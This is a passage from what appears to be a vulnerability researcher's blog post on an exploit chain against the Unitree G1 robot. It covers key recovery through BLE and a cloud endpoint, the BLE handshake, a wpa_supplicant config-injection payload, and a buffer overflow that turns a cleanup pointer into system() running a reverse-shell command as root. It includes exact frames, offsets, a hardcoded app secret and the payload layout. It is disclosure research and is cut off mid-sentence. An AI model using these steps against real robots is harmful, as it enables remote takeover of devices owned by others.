of `0xFFE2`\n\nas the G1's BLE inbox, not as a command by itself. Each write contains a small Unitree protocol frame, and one byte identifies what the frame is asking the G1 to do. That byte is the instruction identifier (the opcode). When the app writes a frame to `0xFFE2`\n\n, `btgatt-server`\n\neventually hands those bytes to `receive_manager()`\n\n, which acts like a command router. It examines the opcode & sends the frame to the corresponding handler. Opcode `0x04`\n\ncarries WiFi SSID data, `0x05`\n\ncarries the WiFi password, and `0xF2`\n\nasks the robot for its encrypted ** BLE bootstrap blob**. Any response is sent back to the app as a notification on\n\n`0xFFE1`\n\n.If that doesn't make sense, read it again.\n\nIn a *properly* secured BLE product, ** the write characteristic would require pairing**. But the G1 uses neither\n\n`BT_ATT_PERM_WRITE_ENCRYPT`\n\nnor `BT_ATT_PERM_WRITE_AUTHEN`\n\nprotection flags that would require the connection manager to establish a safe connection before writes are accepted. This does __not__ mean every BLE command is immediately usable. Normal v3 commands are still protected by the G1's application-layer AES-GCM. The WiFi opcodes remain locked behind `valid_incoming_user`\n\n. The missing GATT permissions give us __access to the characteristic before pairing__.\n\n### The Cloud Decryption Oracle\n\nWhile reversing the APK, I found a bunch of funky cloud endpoints wired straight into Bluetooth. `com/unitree/lib_ble/data/api/BleApi.java`\n\nhandled half the BLE bootstrap, which is what sent me down this pretty productive rabbit hole. The phone doesn't decrypt the `0xF2`\n\nblob itself. Instead, it hands it to a function literally called `bindExtData()`\n\n, which sends the G1's BLE bootstrap blob and encrypted serial number to Unitree's cloud and ** sends us the G1's AES key back**. Everything needed for that request, the G1's serial number and encrypted key blob, could be collected\n\n**unauthenticated over BLE**. The only thing the cloud endpoint required from us was a (free) valid Unitree account.\n\nThis was pretty exciting, because it meant there was a real chance I could walk up to any arbitrary G1, grab its bootstrap data over BLE, hand it to Unitree's own cloud, and have Unitree decrypt the per-device AES-128 key for me.\n\n### The 0xF2 Bootstrap\n\n** 0xF2 is Unitree's key-bootstrap command. A newly connected phone cannot send normal encrypted BLE commands yet because it does not know the G1s AES key. **It therefore sends the cleartext\n\n__0xFFE2__\n\nrequest first. The robot responds over `0xFFE1`\n\nwith an encrypted bootstrap blob containing that key, __not__with the plaintext key itself. The protocol is designed so that only Unitree's cloud infrastructure can decrypt the key. In theory, this means even if you intercept the BLE traffic, you can't extract the key without Unitree's private key.\n\n`btgatt-server`\n\nrecognizes these `0xF2`\n\ncleartext frames and routes them straight to `bt_gatt_server_send_instruction_F2_feedback()`\n\n. It does ** not** require BLE pairing, an authenticated v3 session, or knowledge of the AES key. Anyone close enough to connect through\n\n`FFE2`\n\ncan ask for it.When *asked, *the G1 packages the key with identifying data, encrypts everything using an RSA public key embedded in `btgatt-server`\n\n, and returns only the ciphertext. If we write the seven-byte cleartext bootstrap request, `00 55 54 32 35 F2 FE`\n\nto `0xFFE2`\n\n. The prefix `00 55 54 32 35`\n\nidentifies the v3 bootstrap frame, `F2`\n\nis the opcode, and `FE`\n\nis the checksum such that `(-sum(0x00 + 0x55 + 0x54 + 0x32 + 0x35 + 0xF2)) & 0xFF = 0xFE`\n\n.\n\nThat hits a frame match, `receive_manager`\n\n__resets__`valid_incoming_user`\n\nand calls `bt_gatt_server_send_instruction_F2_feedback()`\n\n. That handler does the following:\n\n- On the\n*fresh-encryption path,*it reads the`16-byte AES-128`\n\nkey from`/unitree/etc/key/aes_key.bin.`\n\n- Computes the\n`32-byte SHA-256`\n\ndigest of the AES key. - Reads the robot's serial number through\n`go2_sn_file`\n\n, which resolves to`/unitree/etc/config/sn`\n\non the G1. - Reads the six-byte BLE MAC address using\n`get_mac()`\n\n. - On this fresh-generation branch, the handler constructs a\n`0x4c-byte`\n\n(76-byte) plaintext structure. The verified fields include fixed framing bytes, a`0x10`\n\nlength marker followed by the`16-byte`\n\nAES key, SHA-256(key), another`0x10`\n\nmarker followed by the`16-byte`\n\nserial number, and a`0x06`\n\nmarker followed by the`six-byte`\n\nBLE MAC address. - Loads the fixed\n`393-byte`\n\n`x509_pubkey.pem`\n\nshipped alongside`btgatt-server`\n\n, then`RSA-OAEP-SHA256`\n\nencrypts the`0x4c-byte`\n\npayload. Then`rsa_encrypt_oaep_sha256()`\n\nis the call site inside the F2 handler. The public-key file is packaged with the firmware & it is not embedded inside the`btgatt-server`\n\nexecutable. - It base64-encodes the RSA ciphertext.\n- Splits the Base64 output into chunks of up to\n`86 characters (0x56)`\n\n. - Sends each chunk as a BLE notification on\n`0xFFE1`\n\n:`[00 55 54 32 35 F2][chunk index][total chunks][Base64 data][checksum]`\n\n.\n\n*This is some \"Just trust me bro\" shit, but I don't want the blog to be 20 screenshots from BN. *\n\nIn plain English `0xF2`\n\nmeans: \"*I don't know this robot’s AES key yet. Give me a copy protected so that only Unitree's cloud should be able to open it*\".\n\n** This is the RSA-encrypted blob containing the AES key, the serial number, and the BLE MAC. **For the 100th time 😭,\n\n__any__device in BLE range can trigger this exchange and capture the blob.\n\n### From Blob Ciphertext Into Cloud Oracle Cleartext\n\nThe blob is RSA-encrypted & the corresponding RSA private key is __held by Unitree's cloud infrastructure__. This, in theory, is safe...\n\nThis is the security boundary Unitree appears to have relied on. Nearby devices canrequestthe bootstrap blob, but only Unitree owns the RSA private key capable of opening it.\n\nHowever, the Unitree mobile app reassembles the BLE notification chunks and slingshots that shit via a `POST`\n\nto Unitree's cloud API `/device/bindExtData`\n\non `global-robot-api.unitree.com`\n\nand the app stores the response body as gcmKey.\n\n```\nPOST /device/bindExtData HTTP/1.1\nHost: global-robot-api.unitree.com\nContent-Type: application/x-www-form-urlencoded\nToken: <access_token>\nAppSign: <signature>\nAppTimestamp: <timestamp_ms>\nAppNonce: <nonce_hex>\n\nextData=<base64_rsa_blob>&sn=<rsa_encrypted_sn_base64>\n```\n\n**Token**= login with any account to`/login/email`\n\n, password sent as MD5(cleartext). The response gives you accessToken.**AppSign**=`MD5(\"XyvkwK45hp5PHfA8\" + timestamp_ms + nonce_hex)`\n\n. The secret is hardcoded in BaseConstant.java.**AppTimestamp**= just generate it** AppNonce**= random UUID that you`uuid.uuid4().hex`\n\n**extData**= is the Base64-encoded RSA-OAEP-SHA256 blob collected from the robot's BLE`0xF2`\n\nresponse.**sn**= is the G1's serial number encrypted using RSA-PKCS#1 v1.5 with the cloud public key fetched from`/system/pubKey`\n\n, then Base64-encoded.\n\n### Getting the Serial Number Without Pairing\n\n: whenever the robot is powered on it broadcasts its full SN to anyone within BLE range. You can exfil it from a scan. The trick isQuick note`Manufacturer ID 12869 = 0x3245 = bytes 45 32 = ASCII \"E2\". The payload = \"1D6000Q3A7920Y\". Concatenate = E21D60003A7920Y.`\n\n### The Missing Ownership Check\n\nThis works because the endpoint verifies that the token *is* *valid* & the request body *comes from a* *valid* Unitree account, but there's no ownership checks on the robot's current/past binding state. ** So any account could recover the AES key from the RSA-OAEP blob**. In other words, authentication was present, but authorization was missing.\n\nThe EAS key of any G1 can be obtained in the following 4 steps!\n\n- Logs in to Unitree's global-robot-api cloud (email + MD5-of-password)\n- Fetches the cloud's RSA pubkey via\n`GET /system/pubKey`\n\n- Capture the Base64-encoded RSA-OAEP-SHA256 blob collected from the\n`0xF2`\n\nresponse - RSA-PKCS1-encrypts the SN with that pubkey, Base64s it (per APK's RSAUtil.encodeString)\n-\n`POST /device/bindExtData`\n\nwith`extData=<BLOB>+sn=<encrypted-SN>`\n\nThis is a **super dope** finding & solves a frankly stupid amount of our problems 🎉.\n\nIt was patched sometime in July after I had reported it, and they now do authorization binding checks.\n\nThis doesn't stop the owner of a G1 from using their own bound account to retrieve their G1's AES key if they ever wanted a shell on the Locomotion PC/jailbreak their robot.\n\nThis single AES-128 key unlocks both the BLE protocol and the WebRTC signaling channels.\n\n## BLE Handshake\n\n*Understanding this handshake is key to understanding how the WiFi Heredoc Injection in the next section actually works. *The `receive_manager`\n\nfunction dispatches each incoming BLE frame based on those opcodes we saw at the start. Importantly, the robot will not accept __ WiFi configuration commands__ until the handshake sets\n\n`valid_incoming_user`\n\nto `1`\n\nLuckily, we could obtain any G1's AES key, meaning we could authenticate to any G1's BLE protocol and unlock the WiFi configuration commands that the rest of the chain (RCE #2) depends on.\n\nAn encrypted BLE frame written to `0xFFE2`\n\nhas this outer structure:\n\nAfter GCM decryption, the plaintext inside has its own structure.\n\nThe handshake is opcodes `0x0B`\n\nand `0x0C`\n\n& it's just a timestamp challenge-response that __proves__ to the G1 we know the AES key.\n\nThe `0x0B`\n\ncase first resets `valid_incoming_user`\n\nto zero, wiping any previous successful handshake. It then calls `get_unix_timestamp_sec()`\n\n, stores the current Unix timestamp in the global `stored_timestamp`\n\n, converts it to an eight-byte value with `uint64_to_bytes_be()`\n\n, and returns it through `bt_gatt_server_send_feedback_in_cipher_manner()`\n\n. That response is AES-GCM encrypted and delivered as a notification on `0xFFE1`\n\n. The robot has effectively handed us a number and said, \"prove you can read this 😼\".\n\nIf an attacker sends back exactly the timestamp plus one, then `valid_incoming_user`\n\nis set to `1`\n\n& the G1 sends `0x01`\n\nback as confirmation = the handshake passed & WiFi opcodes `0x03`\n\nthrough `0x07`\n\nare then unlocked 🎉. __The BLE WiFi hijack used by RCE #2 depends on this comparison succeeding.__\n\n## WiFi Heredoc Injection\n\nRCE #1 via `chat_go`\n\nmeant physically plugging an RJ45 into the G1's neck. Effective, sure. Not exactly 1337. We've just cracked the BLE handshake, and conveniently, it exposes a handful of WiFi configuration opcodes. So...* can we force any G1 to join some network that our attacker endpoint is also in?*\n\nThe answer is **yes**. The *how* is by abusing those same WiFi provisioning commands to inject attacker-controlled `wpa_supplicant`\n\nconfiguration data. The bug is that Unitree's fallback generator inserts the BLE-supplied `SSID`\n\nand `password`\n\ninto `wpa_supplicant.conf`\n\nwithout escaping them.\n\n### Never bring an RJ45 to a BLE Fight\n\nWhen the Unitree phone app configures WiFi, it sends the SSID and password to the robot over BLE. The robot's `btgatt-server`\n\nreceives these values and passes them to a shell script called `wpa_connect.sh`\n\nat `/unitree/module/network_manager/upper_bluetooth/wpa_connect/wpa_connect.sh`\n\n. This script is responsible for generating a `wpa_supplicant.conf`\n\nfile which tells `wpa_supplicant`\n\nthe G1 which WiFi network to connect to. This file is 2330 lines of bash that handles WiFi scanning, connection, monitoring, and configuration.\n\nThe function tries three methods to generate `wpa_supplicant.conf`\n\n.\n\nMethods 1 and 2 invoke `wpa_passphrase`\n\nfrom the `wpa_supplicant`\n\npackage. Method 1 passes the SSID and password as arguments. Method 2 tries a stdin-based fallback (not really, it just omits the required SSID CLI arg). The WPA-PSK passphrase must be `8–63`\n\ncharacters, so an overlong password makes `wpa_passphrase`\n\nreject it. The script then reaches Unitree's manual generator.\n\nWith ordinary WiFi credentials, Method 1 normally succeeds, and the script never needs its manual fallback. If our payload is deliberately longer than 63 characters, forcing the `wpa_passphrase`\n\nattempts to fail so Method 3 runs.\n\nMethod 3 uses `cat > \"$config_file\" << EOF`\n\nand inserts `$ssid`\n\nand `$password`\n\ndirectly into a `wpa_supplicant`\n\n*template*. Because the delimiter is unquoted, bash performs normal expansion on the heredoc source. Crucially, shell syntax contained inside the value of `$password`\n\nis not evaluated a second time.\n\nThe exploitable part is the ** configuration syntax**. A quote in the password can close\n\n`psk=\"...\"`\n\nand a `}`\n\ncan close the original network block. We can also embed newlines & add arbitrary network blocks. This is `wpa_supplicant`\n\nconfiguration injection through an unsafe heredoc \"template\".Bash isn't executing our password. It expandsWhy this works:`$password`\n\nonce and writes the resulting text into`wpa_supplicant.conf`\n\n. Our quotes, braces, and newlines break out of the original`psk=\"...\"`\n\nfield and add entirely new`network={...}`\n\nblocks. Then`wpa_supplicant`\n\nloads the file and treats those blocks as legitimate configuration. So we're abusing the`wpa_supplicant`\n\nparser, not getting Bash to execute anything\n\n```\nMyPassword123\"\n}\n\nnetwork={\n  ssid=\"PHONE_HOTSPOT\"\n  psk=\"PHONE_HOTSPOT_PASS\"\n  key_mgmt=WPA-PSK\n}\n\nnetwork={\n  ssid=\"junk\n```\n\nWhen `$password`\n\nexpands, its first quote closes the psk field, the next `}`\n\ncloses Unitree's original network block, and the injected text adds our own injected network blocks. The final dummy block absorbs the template's trailing quote and brace. wpa_supplicant then parses the generated file and connects to our hotspot.\n\n### Delivery via BLE Opcodes `0x03`\n\n-`0x06`\n\nThe whole thing rides one BLE connection and roughly `8-9`\n\nATT writes total (2 handshake, 1 mode, 1-2 SSID, 3-4 PSK for a 121-byte payload, 1 country). Comfortably under the ~10-write budget my shitty macOS limits me per connection.\n\n*As I've mentioned before, the valid_incoming_user flag must be set to 1 (via the v3 handshake, opcodes 0x0B/0x0C) before any of these are accepted. *\n\n`valid_incoming_user`\n\nwas reset as the handshake (*cursor*persistence does not imply authentication-state persistence). So we'll re-run\n\n`0x0B/0x0C`\n\non every connection.`0x03`\n\n`WIFI_TYPE`\n\nsets WiFi mode. Send`2`\n\nfor STA (client) mode. Also resets all the WiFi BSS state (`wifi_ssid`\n\n,`wifi_pass`\n\n, length cursors, chunk counters).`0x04`\n\n`WIFI_ACCOUNT`\n\nstreams the SSID in chunks. In our case that's`Boschko`\n\n, the attacker hotspot.`0x05`\n\n`WIFI_PWD`\n\nstreams the password in chunks, same framing. This is where the injection payload rides in. Needs to be over 63 chars so`wpa_passphrase`\n\nrejects it and the script falls back to`generate_manual_config`\n\n, which is the vulnerable path.`0x06`\n\n`COUNTRY`\n\ncarries the two ASCII country-code bytes plus the WiFi mode byte. Sending it starts the remote-connection/WiFi-setting path, which eventually runs`wpa_connect.sh`\n\nwith the accumulated SSID and password (regenerating the configuration), restarts`wpa_supplicant`\n\n, and makes the robot connect.\n\nOk, so our payload will be this.\n\nAnd as you can see below, in RCE #2 we can force any G1 to connect to our hotspot/network, resolving the RJ45/physical access issue.\n\nAt this point the chain no longer requires a cable or prior possession of any G1's AES key. The initial F2 bootstrap is unpaired and pre-key & the cloud step requires anNote:\"authenticated\"(free) Unitree account. This still remains a proximity-BLE attack and uses the authenticated v3 BLE session (needs AES for handshake). But the vulns abuse this, its unauthenticated in my books. Having to use a free account to send a authed POST to an endpoint doesnt make the chain\"authenticated\". Fight me.\n\n__RCE #2: __Root RCE via BLE BSS Buffer Overflow in btgatt-server\n\nThis exploit has four moving parts. ** First**, opcode\n\n`0x04`\n\nSSID handler copies each decrypted chunk to `wifi_ssid + wifi_ssid_length`\n\nand advances a 16-bit \"*cursor*\", but never checks the accumulated range against the\n\n`500-byte`\n\n`wifi_ssid`\n\nbuffer. **, the**\n\n__Second__*cursor*(\n\n`wifi_ssid_length`\n\n) and chunk index survive across BLE disconnects (`btgatt-server`\n\nremains running, allowing us to build the overflow across several BLE *handshaked*connections).\n\n**, we use the overflow to change two things: We overwrite**\n\n__Third__`mainloop_list[2]`\n\nso it points to a fake cleanup entry stored at the beginning of `wifi_ssid`\n\n& we also overwrite `epoll_terminate`\n\nwith `1`\n\n, which makes the event loop exit and process that entry (the same overflow plants the malicious cleanup entry and triggers the code that uses it 🤯). **, the forged structure (because we use the overflow (**\n\n__Fourth__*technically a BSS/global out-of-bounds write*) to write bytes into memory that look like a legitimate\n\n`mainloop`\n\ncleanup object) requires runtime addresses, so we use the earlier `chat_go`\n\nRCE to leak the randomized PIE base. The cleanup loop then evaluates the forged `destroy(user_data)`\n\nentry as `system(command)`\n\n, running our command as root. The `btgatt-server`\n\ncustom BLE server we've been sending opcodes to this whole time is an AArch64 ELF, dynamically linked, not stripped, with DWARF debug info. It has standard mitigations such as PIE, full RELRO, stack canaries, and NX. If we can make `btgatt-server`\n\nexecute arbitrary code, we get paid.\n\n### The Bug\n\nBLE opcode `0x04`\n\n(`WIFI_ACCOUNT`\n\n) streams SSID data into `wifi_ssid`\n\n. This is the overflow vector. The earlier configuration-injection payload rode opcode `0x05`\n\n(`WIFI_PWD`\n\n), not `0x04`\n\n. Each write to characteristic `0xFFE2`\n\ncarries another encrypted chunk. The vulnerable case is in `receive_manager`\n\nat PIE offset `0xe7f0`\n\n.\n\nWhen I say cursor I mean some imaginary position. It's really theNote:`wifi_ssid_length`\n\n. Think of it as the write position that tracks where the next chunk gets copied into the buffer.\n\nIn this build, the WiFi SSID `buffer wifi_ssid`\n\nis exactly 500 bytes, which is already extremely generous for legitimate input.\n\nThere's nothing stopping us from sending far more data than the buffer can hold.\n\nThree things are broken here...\n\n`wifi_ssid_length`\n\nis a 16-bit*cursor*that the handler loads as an unsigned value. Every chunk is written at`wifi_ssid + wifi_ssid_length`\n\n, then the*cursor*is advanced. The code never checks whether the new range stays inside the 500-byte`wifi_ssid`\n\nbuffer.- The sequential-index check is bullshit. If the attacker supplies an unexpected chunk index, the program logs\n`[error] idx`\n\nbut does not return/reject the frame/skip the copy. Correctly ordered chunks work anyway, but a bad index is just logged.\n\n- When a BLE client disconnects, the function\n`mainloop_init()`\n\nruns to prepare for the next connection. It resets the event loop state, creates a new epoll file descriptor, zeros the`mainloop_list`\n\narray, sets`epoll_terminate`\n\nback to`0`\n\n. But it doesreset__NOT__`wifi_ssid`\n\n,`wifi_ssid_length`\n\n, or`wifi_ssid_current_index`\n\n(this is like a counter).__The process stays alive across disconnects, so the overflow__*cursor*survives into the next connection.\n\nThis means an attacker can send 350 bytes in connection 1, disconnect, reconnect, and the *cursor* is still \"waiting\" at this *cursor* position 350. The next chunk writes starting from byte 350, ** not byte 0**. So we can accumulate data across connections.\n\nThis is actually really hard to spot, & its this persistence that makes the exploit possible over BLE.\n\nThe MTU (Maximum Transmission Unit) on macOS BLE is about 100 bytes. An ATT Write Request can therefore carry at mostIMPORTANT:`97`\n\nvalue bytes. After the outer encrypted framing and inner packet/chunk headers, the theoretical SSID payload is about`59 bytes`\n\n. That's why for the PoC I used conservative 50-byte chunks which ends up being ~ten writes per connection. This isa universal BLE limit. It's just because I did everything on macOS.not\n\nFirst, let's get the layout straight.\n\n### What Is BSS?\n\nBig picture, BSS is the section of a compiled program commonly used for zero-initialized or otherwise uninitialized global and static storage. The loader initializes it to zero. In this linked binary, the relevant objects occupy adjacent addresses. The CPU does not enforce a boundary around `wifi_ssid`\n\n, so an unchecked write past its end continues into whichever global comes next.\n\nIn the `btgatt-server`\n\n, the variables after `wifi_ssid`\n\nare laid out like this.\n\nWe now know which globals the overflow can reach. The next question is ** why** corrupting these particular globals (\n\n`epoll_terminate`\n\nand `mainloop_list`\n\n) can redirect control flow.The first 500 payload bytes fill `wifi_ssid`\n\nitself. Bytes 500 onward are the actual overflow and cross into `wifi_pass_length`\n\n, `wifi_pass`\n\n, `country_code`\n\n, the chunk counters, and other BSS state. Most of the payload before offset `1012`\n\nis deliberate padding because we do not care about these WiFi globals. Any *useful* corruption begins around offset `1012`\n\n.\n\n### The Event Loop & The Cleanup Path\n\nThe `btgatt-server`\n\nneeds to react to things such as a BLE client connecting, the client sending data, a signal arriving, a timer firing, etc, etc. It can't just check each thing one at a time. Doing that would fucking annihilate the CPU. Instead, it uses `epoll`\n\n, a Linux \"receptionist\" mechanism that lets a program say \"*wake me up when any of these things happen*\" and it just sleeps until one of them does. The program registers everything it cares about and enters the loop:\n\n`epoll_fd`\n\nis the epoll instance itself & the thing we pass to `epoll_wait`\n\n. `epoll_terminate`\n\nis a simple flag, and while it's 0, the loop keeps running. When something sets it to 1, the loop exits.\n\n### What mainloop_list Is\n\nEach watched fd is associated with a `mainloop_data`\n\nentry. `mainloop_list`\n\nis an array of pointers to these `32-byte`\n\nstructures.\n\nThere are two function pointers in every entry. `callback`\n\nis the normal one & it runs when data arrives, when a client connects, etc. `destroy`\n\nis the cleanup one & it runs when the program is shutting down, to close the `fd`\n\nand `free`\n\nresources.\n\n### Why This Matters: The Cleanup Path\n\nWhen the loop exits, because `epoll_terminate`\n\nbecame 1, the program runs a cleanup routine which walks through every entry in `mainloop_list`\n\nand, for each non-NULL entry, calls the `destroy`\n\nfunction.\n\nUnder normal operation, `destroy`\n\npoints to a legitimate cleanup function that __closes__ a socket or __frees__ memory. And `user_data`\n\nis the argument to that function (a pointer to whatever resource needs to be released).\n\n** These are just addresses stored in memory**. The CPU doesn't know whether\n\n`destroy`\n\npoints to a legitimate cleanup function or to `system()`\n\n. It doesn't know whether `user_data`\n\npoints to a socket struct or to a shell command string. It just loads the address from offset `0x10`\n\n, loads the argument from offset `0x18`\n\n, and jumps.I don't want to lose you as a reader in this section. So let's take a step back. The CPU has registers. For our sake, these are small storage slots named x0, x1, x2, etc. When you call a function in ARM64, the convention is gonna be:\n\n`x0`\n\n= the first argument to the function`x1`\n\n(in this case) = the address of the function to call\n\nSo these three instructions:\n\n`ldr x1, [x20, #0x10]`\n\nload the address stored at `struct+0x10`\n\ninto `x1`\n\nload the value stored at\n\nldr x0, [x20, #0x18]`struct+0x18`\n\ninto `x0`\n\njump to whatever address is in\n\nblr x1`x1`\n\n, treat `x0`\n\nas the argument\n\nIn normal operation, `x1`\n\nwould be the address of a legitimate cleanup function, and `x0`\n\nwould be a pointer to some resource to clean up. After our overflow, `x1`\n\ncontains the address of `system()`\n\n(because we wrote it at struct offset `0x10`\n\n), and `x0`\n\ncontains the address of our reverse shell command string (because we wrote it at offset `0x18`). So `blr x1`\n\nbecomes system(\"our command\").\n\nWe control these fields because the cleanup loop reads them from `mainloop_list[2]`\n\n, which we overwrite to point at the start of\n\nthe `wifi_ssid buffer`\n\nwhich is the same buffer we're overflowing. The first `32`\n\nbytes of our overflow data ARE the fake struct. We'll build that in the payload section.\n\n### The Exploit Primitive\n\nLook back at the BSS layout table. `mainloop_list`\n\nstarts at offset `1028`\n\nfrom `wifi_ssid`\n\n, and `mainloop_list[2]`\n\nbegins at offset `1044`\n\n. A `1050-byte`\n\npayload covers offsets `0`\n\nthrough `1049`\n\n, which is just enough to overwrite the low six bytes of that pointer. Remember, `mainloop_list[2]`\n\nis a pointer. It tells the cleanup loop, effectively, \"*the mainloop_data struct for this slot lives at this address\".* If we replace that pointer with the address of memory we control, the cleanup code interprets\n\n**our bytes** as a legitimate\n\n`mainloop_data`\n\nstructure. The value at offset `0x10`\n\nbecomes its `destroy`\n\ncallback, and the value at offset `0x18`\n\nbecomes its `user_data`\n\nargument.__We control that memory through the unchecked wifi_ssid write__. At the beginning of the\n\n`1050-byte`\n\npayload, we deliberately lay out the first `32`\n\nbytes to match a `mainloop_data`\n\nstruct: `destroy`\n\nat offset `0x10`\n\npoints to `system@PLT`\n\n, while `user_data`\n\nat offset `0x18`\n\npoints farther into the same payload, where our NUL-terminated command string lives. We then overwrite `mainloop_list[2]`\n\nso that it points back to `wifi_ssid[0]`\n\n, where this fake structure begins.When the cleanup loop processes that slot:\n\n- It reads\n`mainloop_list[2]`\n\nand gets a pointer to`wifi_ssid[0]`\n\n. - It interprets those bytes as a\n`mainloop_data`\n\nstruct. - Its\n`destroy`\n\nfield resolves to the PLT entry for`system()`\n\n. - Its\n`user_data`\n\nfield points to the command string stored later in the same payload. - The cleanup call\n`destroy(user_data)`\n\ntherefore becomes, conceptually,`system(command)`\n\n.\n\n### The Trigger Problem\n\nAt this point, the fake cleanup entry is solved. The first `32 bytes`\n\nof `wifi_ssid`\n\nwill be our fake `mainloop_data`\n\n, and near the end of the overflow we will replace `mainloop_list[2]`\n\nwith a pointer back to it. If cleanup processes that entry, `destroy(user_data)`\n\nbecomes `system(command)`\n\n.\n\nBut planting that entry does ** not** execute anything by itself. The program does not hit\n\n`mainloop_list[2]`\n\nwhile the event loop is running.**, and the loop will**\n\n__Cleanup only begins after the loop exits__**exit until something sets**\n\n__not__`epoll_terminate`\n\nto `1`\n\n.This was the incarnate antithesis of anything and everything worth spending my time on. I spent a lot of time stuck here you can read about the failiure attempts[HERE].\n\nAll the blogs/papers/CTFs I found looking for similar bugs had different ways of corrupting `mainloop_list`\n\n. In almost 99% of cases, you'd need to find a separate way to trigger the cleanup loop & at the same time corrupt the data & also have a trigger to the code path that reads it. I was looking for something *external* to trigger the cleanup. I didn't care if it was god, a rogue solar flare, a disconnect, a second connection. I genuinely couldn't figure out \"*how to make the event loop exit*\". In my mind it ** HAD** to be a separate problem from the overflow... but it never was.\n\nSee, `epoll_terminate`\n\nsits only `1016`\n\nbytes after `wifi_ssid`\n\n, **so our overflow can reach it**. Normally, it is `0`\n\n, and the event loop keeps running. If we overwrite it with `1`\n\n, the event loop stops. The program then moves directly into its cleanup code, which walks through `mainloop_list`\n\nand calls each entry’s destroy function pointer. ** I don't need an external trigger**. I can write\n\n`1`\n\ndirectly (causes the loop to exit) into that flag as part of the same overflow that plants the fake struct.*The corruption itself also supplies the condition that drives execution toward the corrupted structure.*\n\nTo make sure nothing else would interfere, I grepped the entire binary for every instruction that touches `epoll_terminate`\n\n.\n\n```\n11cb4: str   wzr, [x0, #0x5dc]    ; mainloop_init: epoll_terminate = 0\n11cd0: str   w2, [x1, #0x5dc]     ; mainloop_quit: epoll_terminate = 1\n11cfc: ldr   w0, [x0, #0x5dc]     ; mainloop_run: check the flag\n```\n\nThree static instruction sites in this binary normally access `epoll_terminate`\n\n: initialization `mainloop_init`\n\nwrites `0`\n\n, `mainloop_quit`\n\nwrites `1`\n\n, and `mainloop_run`\n\nreads it. It's kinda weird, but the overflow provides an unintended fourth way to modify the same BSS integer.\n\nAnyways, we're kinda cleared on that front. All `mainloop_quit`\n\ndoes. It writes the number `1`\n\nto a memory address. Our overflow can do the same thing.\n\nThat's why the exploit issexybtw\n\nIn many function-pointer corruption exploits, corrupting the pointer and making the program consume it are separate problems (typically, you first corrupt a data structure, then find another action that causes the program to consume it). Here, both are reachable through the same BSS overflow. The 1050-byte write setsZooming out for a second:`epoll_terminate`\n\nand then finishes at the low six bytes of`mainloop_list[2]`\n\n. Because the event loop does not observe the termination flag until the write handler returns, the corrupted pointer is fully in place before shutdown reaches the cleanup path that consumes it.\n\n`epoll_terminate`\n\ndoes not directly invoke the corrupted function pointer. It only changes control flow: once set, the event loop exits, and the subsequent cleanup path consumes the corrupted `mainloop_list[2]`\n\n. Although the flag is overwritten earlier in the same overflow, it is not observed until the write handler returns, by which point the pointer corruption is already complete.\n\n### The Payload\n\nThe payload is exactly `1050`\n\nbytes long, meaning it covers offsets `0-1,049`\n\nfrom the beginning of `wifi_ssid`\n\n. That range reaches `epoll_terminate`\n\nat offset `1016`\n\nand the first `6 bytes`\n\nof `mainloop_list[2]`\n\n, which begins at offset `1044`\n\n.\n\n`ML[2]`\n\nis an `8-byte`\n\npointer, but `mainloop_init()`\n\ninitialized the entire slot to zero before the final connection. The address we need fits in the pointer’s low `6 bytes`\n\n, so we only have to overwrite offsets `1044`\n\nthrough `1049`\n\n. Its two high bytes remain zero `1044-byte offset + 6 pointer bytes = 1,050-byte payload`\n\n.\n\nEach BLE chunk carries `50`\n\npayload bytes, so the complete overflow requires `21`\n\nchunks (I use macOS btw & can reliably deliver seven chunks per connection before everything goes to shit).\n\nThe payload ** cannot** avoid absolute addresses because the cleanup loop loads a raw destroy pointer and branches to it. No relative addressing is used here.\n\n`destroy`\n\nmust contain the exact address of `system@PLT`\n\n(`system()`\n\nis a standard C library function `@PLT`\n\n(Procedure Linkage Table) is how the binary calls it). `user_data`\n\nmust contain the exact address of the command string. `mainloop_list[2]`\n\nmust contain the exact address of the fake struct. These are all absolute. And `btgatt-server`\n\nis compiled as a Position Independent Executable (PIE). This means that every time it starts, it loads at a different random base address. The offsets from the base are fixed at compile time, but the base itself is unknown.\n\nWe need the PIE base before we can build the payload. We'll get it in the next section. For now, assume we have it. Let's call it `PIE`\n\n.\n\n** Region 1 **(bytes 0–31) will be our\n\n*fake struct*. The first 32 bytes of\n\n`wifi_ssid`\n\nbecome a fake `mainloop_data`\n\nstruct. Think of `wifi_ssid`\n\nnot as \"the place where only the fake struct goes\" but as the **starting address of one long contiguous write**. Later, our overflow makes\n\n`mainloop_list[2]`\n\npoint backward to `wifi_ssid[0]`\n\n. When the cleanup loop dereferences `mainloop_list[2]`\n\n, it therefore **struct and reads its fields:**\n\n__interprets these first 32 bytes as a real__`mainloop_data`\n\n`destroy`\n\nis set to `system@PLT`\n\nthe PLT entry for glibc's `system()`\n\nfunction. It's at PIE offset `0x3580`\n\n. This is a legitimate code address in the binary's executable text segment. ** We are not injecting shellcode**, we're redirecting a function pointer to an existing function.\n\n`user_data`\n\npoints to `PIE + 0x2e224`\n\n, which is `wifi_ssid + 0x40`\n\n(byte 64 of the overflow buffer). That's where we put the command string in **. When the cleanup loop calls**\n\n__Region 2__`destroy(user_data)`\n\n, it's calling `system(pointer_to_our_command)`\n\n.** Region 2 **begins at byte\n\n`64`\n\n(`0x40`\n\n) and contains the NUL-terminated command string. The fake structure's `user_data`\n\nfield points here, slightly farther into the **same payload**. Region 2 does not need to end at some arbitrary boundary like byte\n\n`191`\n\nthe command can simply continue through the otherwise unused *padding*, as long as it terminates before the corruption fields near payload offset\n\n`1012`\n\n.** Region 3 **(bytes\n\n`1012–1049`\n\n) is the BSS corruption zone. These final `38`\n\nbytes are where the overflow reaches past the intended `wifi_ssid`\n\nstorage and begins modifying the adjacent state that matters to the cleanup path.The payload is **circular**. `mainloop_list[2]`\n\nat byte `1044`\n\ncontains `PIE + 0x2e1e4`\n\n, the address of `wifi_ssid[0]`\n\n, so the very end of the overflow points all the way back to **Region 1 **(where the fake struct lives). That fake struct's `user_data`\n\nfield at offset `0x18`\n\ncontains `PIE + 0x2e224`\n\n, which is `wifi_ssid[0x40]`\n\n, where **Region 2**'s command string lives. The fake struct, command string, and corrupted pointer all live inside the same `1050-byte`\n\npayload and point back into that payload. *I'm TELLING you! This is sexy.*\n\nWe write onlyGentle reminder:`6`\n\nbytes for`mainloop_list[2]`\n\n, not`8`\n\n. On the G1 the relevant user-space addresses fit in the low`48`\n\nbits, and`mainloop_init()`\n\nhas already zeroed the entire array slot. Writing the pointer's`6`\n\nlow bytes is enough because its upper`2`\n\nbytes remain zero. This keeps the payload at 